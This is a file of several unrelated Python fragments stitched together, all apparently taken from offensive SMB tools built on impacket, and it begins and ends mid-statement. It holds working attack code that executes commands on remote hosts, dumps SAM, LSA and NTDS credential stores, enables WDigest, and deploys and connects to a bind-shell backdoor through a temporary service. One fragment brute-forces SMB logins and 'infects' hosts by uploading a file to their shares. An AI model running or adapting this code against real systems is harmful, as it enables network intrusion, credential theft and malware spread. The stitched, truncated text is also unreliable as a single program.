":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute(args.command, get_output=get_output) if args.pscommand: output = connection.execute(create_ps_command(args.pscommand), get_output=get_output) logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return
class SMBShell(PsExec, Samr, SvcCtl): def __init__(self, target, credential, local_name): self.__dstip = target.get_host() self.__dstport = target.get_port() self.__user = credential.get_user() self.__password = credential.get_password() self.__lmhash = credential.get_lm_hash() self.__nthash = credential.get_nt_hash() self.__domain = credential.get_domain() self.__is_admin = credential.get_is_admin() self.__srcfile = local_name self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip self.__timeout = 5 * 60 self.smb = None self.tid = None self.pwd = '\\' self.share = '' self.shares_list = [] self.domains_dict = {} self.users_list = set() self.completion = [] self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8)) self.connect() logger.debug('Connection to host %s established' % target.get_identity()) self.login() logger.debug( 'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user))) logger.info('Looking for a writable share, wait..') _ = self.get_writable_share() self.info(False) if _: DataStore.writable_share = _ else: logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work' % DataStore.writable_share) if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1): DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp') else: DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp') def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout) def login(self): try: self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash) except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.error('SMB error: %s' % (e.getErrorString(),)) raise RuntimeError def logoff(self): self.smb.logoff() def smb_transport(self, named_pipe): self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe, smb_connection=self.smb, remote_host=self.__dstip) try: self.trans.connect() except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.warn('SMB error: %s' % e.getErrorString()) raise RuntimeError def info(self, display=True): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.bind(srvs.MSRPC_UUID_SRVS) try: self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query server information') return None self.__dce.disconnect() DataStore.server_os = self.smb.getServerOS() DataStore.server_name = self.smb.getServerName() DataStore.server_domain = self.smb.getServerDomain() DataStore.server_host = self.smb.getRemoteHost() DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath'] DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major'] DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] if display: print('Operating system: %s' % self.smb.getServerOS()) print('Netbios name: %s' % self.smb.getServerName()) print('Domain: %s' % self.smb.getServerDomain()) print('SMB dialect: %s' % check_dialect(self.smb.getDialect())) print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2()) print('UserPath: %s' % DataStore.user_path) print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users']) print('Version major: %d' % DataStore.version_major) print('Version minor: %d' % DataStore.version_minor) print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '') # TODO: uncomment when SMBConnection will have a wrapper # getServerTime() method for both SMBv1,2,3 # print 'Time: %s' % self.smb.get_server_time() return self.__resp def who(self): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502) for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']: print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s" % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'], session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1], session['sesi502_transport'][:-1])) self.__dce.disconnect() def __share_info(self, share): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2) self.__dce.disconnect() return resp def check_share(self, share=None): # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s" # % (share, self.share, self.tid)) if share: self.use(share) elif not share and (self.share is None or self.tid is None): logger.warn('Share has not been specified, select one') self.shares() def is_writable_share(self, share): _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) try: self.use(share, False) self.mkdir(_) except: pass else: self.rmdir(_) return True return False def get_writable_share(self): # Check we can write a directory on the shares, return the first writable one for _ in self.smb.listShares(): share = _['shi1_netname'][:-1] try: share_info = self.__share_info(share) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query share: %s' % share) continue path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1] if self.is_writable_share(share): logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else "")) DataStore.share_path = path return share else: logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else "")) return None def shares(self): shares = self.smb.listShares() count = 0 for i in range(len(shares)): count += 1 name = shares[i]['shi1_netname'][:-1] self.shares_list.append(name) comment = shares[i]['shi1_remark'][:-1] share_type = shares[i]['shi1_type'] _ = self.__share_info(name) max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses'] # 4294967295L is unlimited current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses'] permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions'] # impacket always returns always 0 path = _['InfoStruct']['ShareInfo2']['shi2_path'] print('[%d] %s (comment: %s)' % (count, name, comment)) print('\tPath: %s' % path) print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses)) # print '\tType: %s' % share_type # print '\tPermissions: %d' % permissions msg = 'Which share do you want to connect to? (default: 1) ' limit = len(self.shares_list) choice = read_input(msg, limit) self.use(self.shares_list[choice - 1]) def use(self, share, display=True): if not share: raise missingShare('Share has not been specified') if self.tid: self.smb.disconnectTree(self.tid) try: self.share = share.strip('\x00') self.tid = self.smb.connectTree(self.share) self.pwd = '\\' self.ls('', False) except SessionError as e: if not display: pass elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME: logger.warn('Invalid share name') elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') else: logger.warn('Unable to connect to share: %s' % (e.getErrorString(),)) def cd(self, path): if not path: return self.check_share() path = ntpath.normpath(path) self.oldpwd = self.pwd if path == '.': return elif path == '..': sep = self.pwd.split('\\') self.pwd = '\\'.join('%s' % s for s in sep[:-1]) return if path[0] == '\\': self.pwd = path else: self.pwd = ntpath.join(self.pwd, path) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd) self.smb.closeFile(self.tid, fid) logger.warn('File is not a directory') self.pwd = self.oldpwd except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY: return elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND: logger.warn('File not found') else: logger.warn('Unable to change directory: %s' % (e.getErrorString(),)) self.pwd = self.oldpwd def get_pwd(self): print(ntpath.join(self.share, self.pwd)) def ls(self, path, display=True): self.check_share() if not path: pwd = ntpath.join(self.pwd, '*') else: pwd = ntpath.join(self.pwd, path) self.completion = [] pwd = ntpath.normpath(pwd) try: files = self.smb.listPath(self.share, pwd) except SessionError as e: if not display: pass elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE): logger.warn('File not found') else: logger.warn('Unable to list files: %s' % (e.getErrorString(),)) return for f in files: if display is True: print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())), '<DIR>' if f.is_directory() > 0 else '', f.get_filesize(), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize())) def lstree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') for x in range(0, path.count('\\')): print('| ') print('%s' % os.path.basename(path.replace('\\', '/'))) self.ls('%s\\*' % path, display=False) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.lstree(ntpath.join(path, identified_file)) else: for x in range(0, path.count('\\')): print('| ') print('|-- %s (%d bytes)' % (identified_file, size)) def cat(self, filename): self.check_share() filename = os.path.basename(filename) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Reading file %s (%d bytes)..' % (filepath, size)) try: self.fid = self.smb.openFile(self.tid, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to access file: %s' % (e.getErrorString(),)) continue offset = 0 while 1: try: data = self.smb.readFile(self.tid, self.fid, offset) data = data.decode("cp437") print(data) if len(data) == 0: break offset += len(data) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE: break else: logger.error('Unable to read file content: %s' % (e.getErrorString(),)) self.smb.closeFile(self.tid, self.fid) def download(self, filename, path=None): self.check_share() basename = os.path.basename(filename) if path is None: path = '.' else: path = path.replace('\\', '/') self.ls(basename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: self.downloadtree(identified_file) self.cd('..') continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Downloading file %s (%d bytes)..' % (filepath, size)) try: fh = open(os.path.join(path, identified_file), 'wb') self.smb.getFile(self.share, filepath, fh.write) fh.close() except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to download file: %s' % (e.getErrorString(),)) def downloadtree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') basename = ntpath.basename(path) normpath = path.replace('\\', '/') self.cd(basename) # Check if the provided path is not a directory (if so, then the # working directory has not changed if self.pwd == self.oldpwd: self.download(basename) return logger.debug('Recreating directory %s' % self.pwd) self.ls(None, display=False) if not os.path.exists(normpath): os.makedirs(normpath) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.downloadtree(ntpath.join(path, identified_file)) self.cd('..') else: self.download(identified_file, normpath) def upload(self, pathname, destfile=None): self.check_share() if isinstance(pathname, string_types): files = glob.glob(pathname) else: files = [pathname] for filename in files: try: if isinstance(filename, string_types): fp = open(filename, 'rb') else: fp = filename except IOError: logger.error('Unable to open file %s' % filename) return False if not destfile or len(files) > 1: destfile = os.path.basename(filename) destfile = ntpath.join(self.pwd, destfile) if isinstance(filename, string_types): logger.debug('Uploading file %s to %s..' % (filename, destfile)) try: self.smb.putFile(self.share, destfile, fp.read) except SessionError as e: traceback.print_exc() if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to upload %s' % destfile) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to upload %s due to share access flags' % destfile) else: logger.error('Unable to upload file: %s' % (e.getErrorString(),)) fp.close() def rename(self, srcfile, destfile): self.check_share() srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile)) destfile = ntpath.join(self.pwd, ntpath.normpath(destfile)) self.smb.rename(self.share, srcfile, destfile) def mkdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.smb.createDirectory(self.share, path) def rm(self, filename): self.check_share() filename = ntpath.join(self.pwd, ntpath.normpath(filename)) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing file %s (%d bytes)..' % (filepath, size)) try: self.smb.deleteFile(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove file: %s' % (e.getErrorString(),)) def rmdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.ls(path, display=False) for identified_file, is_directory, _ in self.completion: if is_directory <= 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing directory %s..' % filepath) try: self.smb.deleteDirectory(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove directory: %s' % (e.getErrorString(),)) def bindshell(self, port): connected = False srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe') remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)]) if not os.path.exists(local_file): raise missingFile('srv_bindshell.exe not found in the contrib subfolder') logger.info('Launching interactive OS shell') logger.debug('Going to use temporary service %s' % srvname) if not port: port = 4445 elif not isinstance(port, int): port = int(port) self.deploy(srvname, local_file, port, remote_file) logger.info('Connecting to backdoor on port %d, wait..' % port) for counter in range(0, 3): try: time.sleep(1) if str(sys.version.split()[0]) >= '2.6': tn = Telnet(self.__dstip, port, 3) else: tn = Telnet(self.__dstip, port) connected = True tn.interact() except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e: if connected is False: warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e) if counter < 2: warn_msg += ', retrying..' logger.warn(warn_msg) else: logger.error(warn_msg) except SessionError as e: # traceback.print_exc() logger.error('SMB error: %s' % (e.getErrorString(),)) except KeyboardInterrupt as _: print() logger.info('User aborted') except Exception as e: # traceback.print_exc() logger.error(str(e)) if connected is True: tn.close() sys.stdout.flush() break time.sleep(1) self.undeploy(srvname) def getSecretsDumper(self, history): dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, history=history, ds=DataStore) return dumper def getAtExec(self, command): if DataStore.version_major > 6: atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, command=command) return atexec else: logger.warn("This command only works on Windows Vista or newer.") return None def getRpcDump(self): dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) return dumper
class Host(object): def __init__(self, ip, scanner): self.ip = ip self.data = scanner[ip] self.is_up = self.data.state() == 'up' self.open_ports = [ x for x in self.data['tcp'].keys() if self.data['tcp'][x]['state'] == 'open' ] self.domain = '' self.name = '' self.os = '' self.ex = None self.smb = None self.shares = None self.infected = None def __str__(self): return '=> ip: {0}{1}{2}{3}, status: {4}{5}'.format( self.ip, ', domain: {0}'.format(self.domain) if self.domain else '', ', name: {0}'.format(self.name) if self.name else '', ', os: {0}'.format(self.os) if self.os else '', 'up' if self.is_up else 'down', ', result: {0}'.format(self.ex) if self.ex else ', result: {0}'.format('Infected') if self.infected else '') @property def chosen_port(self): for p in SMB_PORTS: if p in self.open_ports: return p raise Exception('No port can be used to infect this host') @property def is_connected(self): return self.smb is not None def connect(self, password_generator): try: self.smb = SMBConnection('*SMBSERVER', self.ip, sess_port=int(self.chosen_port)) self.smb.login('', '') self.domain = self.smb.getServerDomain() self.name = self.smb.getServerName() self.os = self.smb.getServerOS() for username, password, lmhash, nthash in password_generator: try: self.smb.login(username, password, lmhash=lmhash, nthash=nthash) self.shares = self.smb.listShares() self.ex = None break except SessionError as ex: self.ex = ex except SessionError as ex: self.ex = ex def infect(self, password_generator, share, source, destination): try: if not path.isfile(source): raise Exception( 'Source file {0} does not exist.'.format(source)) if not self.is_connected: self.connect(password_generator) if self.ex: return with open(source, 'rb') as f: self.smb.putFile(share, destination, f.read) self.ex = None self.infected = True except SessionError as ex: self.ex = ex
try: smbClient = SMBConnection(address, address, sess_port=int(options.port)) smbClient.login(username, password, domain) # get passed credentials userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = smbClient.getCredentials( ) # get computer information hostname = smbClient.getServerName() ipAddress = smbClient.getRemoteHost() domain = smbClient.getServerDomain() fqdn = smbClient.getServerDNSDomainName() osVersion = str(smbClient.getServerOS()) os_arch = str(get_os_arch()) print_info() print(LIGHTBLUE + "\t[*] " + NOCOLOR, end='') print(osVersion + " " + os_arch + " (name:" + hostname + ") (domain:" + domain + ")") if userName: if options.A is None: """ print_info() if not domain: print(LIGHTGREEN+"\t[+] "+NOCOLOR+hostname+"/"+userName+":"+password) else: print(LIGHTGREEN+"\t[+] "+NOCOLOR+domain+"/"+userName+":"+password)